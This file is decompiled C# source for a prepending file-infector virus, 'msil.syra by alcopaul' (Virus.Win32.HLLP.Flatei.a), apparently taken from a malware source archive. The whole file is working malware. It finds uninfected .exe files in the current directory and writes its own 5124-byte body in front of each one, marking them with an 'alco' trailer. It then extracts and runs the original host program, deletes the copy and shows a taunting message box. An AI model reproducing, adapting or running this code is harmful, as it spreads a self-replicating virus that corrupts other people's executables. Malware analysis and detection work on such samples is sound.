MalwareSourceCode/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5/msil_syra_by_alcopaul.cs

// Decompiled with JetBrains decompiler
// Type: msil_syra_by_alcopaul
// Assembly: syra, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 04546A85-74D1-4278-A816-434AC3D415F6
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.a-ee38241a988aa72787b1491e5697a7ab6b47c0957759952fb2457cf926131dd5.exe

using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

internal class msil_syra_by_alcopaul
{
  public static void Main(string[] args)
  {
    Module module = Assembly.GetExecutingAssembly().GetModules()[0];
    foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"))
    {
      FileStream fileStream = new FileStream(file, FileMode.OpenOrCreate, FileAccess.Read);
      StreamReader streamReader = new StreamReader((Stream) fileStream);
      int offset = (int) fileStream.Length - 4;
      streamReader.BaseStream.Seek((long) offset, SeekOrigin.Begin);
      string str1 = streamReader.ReadLine();
      streamReader.Close();
      string str2 = "alco";
      if (!(str1 == str2))
      {
        if (!(file == module.FullyQualifiedName))
        {
          try
          {
            msil_syra_by_alcopaul.Infect(file);
            break;
          }
          catch
          {
          }
        }
      }
    }
    FileStream input = new FileStream(module.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read);
    BinaryReader binaryReader = new BinaryReader((Stream) input);
    int length = (int) input.Length - 5124;
    binaryReader.BaseStream.Seek(5124L, SeekOrigin.Begin);
    byte[] buffer = new byte[(int) checked ((uint) length)];
    int count = length;
    int index = 0;
    int num;
    for (; count > 0; count -= num)
    {
      num = binaryReader.Read(buffer, index, count);
      if (num != 0)
        index += num;
      else
        break;
    }
    binaryReader.Close();
    BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream("hostbyte.exe", FileMode.OpenOrCreate, FileAccess.Write));
    binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin);
    binaryWriter.Write(buffer);
    binaryWriter.Close();
    msil_syra_by_alcopaul.Win32.ShellExecute(0, (string) null, "hostbyte.exe", (string) null, Directory.GetCurrentDirectory(), 1);
    do
    {
      try
      {
        File.Delete("hostbyte.exe");
      }
      catch
      {
      }
    }
    while (File.Exists("hostbyte.exe"));
    msil_syra_by_alcopaul.Win32.MessageBox(0, "::: prepending virus purely written in d flat :::", "msil.syra by alcopaul", 0U);
  }

  public static void Infect(string host)
  {
    BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read));
    binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin);
    byte[] buffer1 = new byte[5124];
    int count = 5124;
    int index1 = 0;
    int num1;
    for (; count > 0; count -= num1)
    {
      num1 = binaryReader1.Read(buffer1, index1, count);
      if (num1 != 0)
        index1 += num1;
      else
        break;
    }
    binaryReader1.Close();
    FileStream input = new FileStream(host, FileMode.OpenOrCreate, FileAccess.Read);
    BinaryReader binaryReader2 = new BinaryReader((Stream) input);
    binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin);
    byte[] buffer2 = new byte[(int) checked ((uint) input.Length)];
    int length = (int) input.Length;
    int index2 = 0;
    int num2;
    for (; length > 0; length -= num2)
    {
      num2 = binaryReader2.Read(buffer2, index2, length);
      if (num2 != 0)
        index2 += num2;
      else
        break;
    }
    binaryReader2.Close();
    BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(host, FileMode.OpenOrCreate, FileAccess.Write));
    binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin);
    binaryWriter.Write(buffer1);
    binaryWriter.Write(buffer2);
    binaryWriter.Write("alco");
    binaryWriter.Close();
  }

  public class Win32
  {
    [DllImport("shell32.dll", CharSet = CharSet.Auto)]
    public static extern int ShellExecute(
      int hWnd,
      string oper,
      string file,
      string param,
      string dir,
      int type);

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int MessageBox(int hWnd, string text, string caption, uint type);
  }
}